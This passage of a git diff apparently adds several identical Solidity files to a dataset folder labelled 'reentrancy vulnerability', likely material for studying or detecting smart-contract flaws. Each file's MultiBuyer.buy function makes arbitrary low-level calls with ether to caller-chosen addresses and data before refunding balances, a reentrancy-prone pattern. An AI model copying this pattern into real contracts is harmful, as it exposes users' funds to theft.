value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22485.sol b/smart_contract_dataset/reentrancy vulnerability/22485.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22485.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22500.sol b/smart_contract_dataset/reentrancy vulnerability/22500.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22500.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22810.sol b/smart_contract_dataset/reentrancy vulnerability/22810.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22810.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22813.sol b/smart_contract_dataset/reentrancy vulnerability/22813.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22813.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) 